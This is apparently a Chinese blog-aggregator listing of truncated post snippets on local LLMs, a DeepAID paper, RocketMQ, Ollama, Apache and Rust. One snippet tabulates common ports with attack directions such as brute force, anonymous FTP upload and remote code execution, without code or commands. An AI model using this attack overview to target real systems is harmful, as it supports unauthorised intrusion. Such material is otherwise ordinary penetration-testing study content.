笔记本跑大模型尝试

1&#xff0c;笔记本电脑资源 我是一台联想笔记本电脑&#xff0c;基本配置如下&#xff1a; CPU&#xff1a;12th Gen Intel(R) Core(TM) i7-1255U 1.70 GHz (12核心&#xff0c;2个P核和8个E核&#xff0c;共计10个核心) 显卡&#xff1a;NVIDIA GeForce MX550 内存&am…...

[论文阅读] (37)CCS21 DeepAID:基于深度学习的异常检测(解释)

祝大家新春快乐&#xff0c;蛇年吉祥&#xff01; 《娜璋带你读论文》系列主要是督促自己阅读优秀论文及听取学术讲座&#xff0c;并分享给大家&#xff0c;希望您喜欢。由于作者的英文水平和学术能力不高&#xff0c;需要不断提升&#xff0c;所以还请大家批评指正&#xff0…...

常见端口的攻击思路

端口号端口说明攻击方向21/22/69FTP/TFTP文件传输协议匿名上传/下载、嗅探、爆破2049NFS服务配置不当139Sanba服务爆破、远程代码执行389Ldap目录访问协议注入、匿名访问、弱口令22SSH远程连接爆破、SSH映射隧道搭建、文件传输23Telnet远程连接爆破、嗅探、弱口令3389RDP远程桌…...

复古壁纸中棕色系和米色系哪个更受欢迎?

根据最新的搜索结果&#xff0c;我们可以看到棕色系和米色系在复古壁纸设计中都非常受欢迎。以下是对这两种颜色系受欢迎程度的分析&#xff1a; 棕色系 受欢迎程度&#xff1a;棕色系在复古壁纸中非常受欢迎&#xff0c;因为它能够营造出温暖、质朴和自然的氛围。棕色系的壁纸…...

RocketMQ消息是如何存储的?

大家好&#xff0c;我是锋哥。今天分享关于【RocketMQ消息是如何存储的&#xff1f;】面试题。希望对大家有帮助&#xff1b; RocketMQ消息是如何存储的&#xff1f; 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 RocketMQ 使用了一个高性能、分布式的消息存储架构…...

在FreeBSD下安装Ollama并体验DeepSeek r1大模型

在FreeBSD下安装Ollama并体验DeepSeek r1大模型 在FreeBSD下安装Ollama 直接使用pkg安装即可&#xff1a; sudo pkg install ollama 安装完成后&#xff0c;提示&#xff1a; You installed ollama: the AI model runner. To run ollama, plese open 2 terminals. 1. In t…...

[250128] Apache HTTP Server 2.4.63 发布 | Arm 发布首个芯片系统架构的公开规范

目录 Apache HTTP Server 2.4.63 发布&#xff0c;十五年创新成果&#xff01;Arm 发布首个芯片系统架构的公开规范 Apache HTTP Server 2.4.63 发布&#xff0c;十五年创新成果&#xff01; Apache 软件基金会和 Apache HTTP Server 项目组自豪地宣布 Apache HTTP Server 2.4…...

为什么要学习rust

内存管理&#xff1a;对于我来说&#xff0c;我就喜欢它的内存管理。我做了一个webapi&#xff0c;取100万行数据&#xff0c;导出到xlsx&#xff0c;再把这个xlsx文件发送给前端。分别用了java、c#、go和rust进行了相同的操作。只有rust做到了&#xff0c;启动时8MB内存&#…...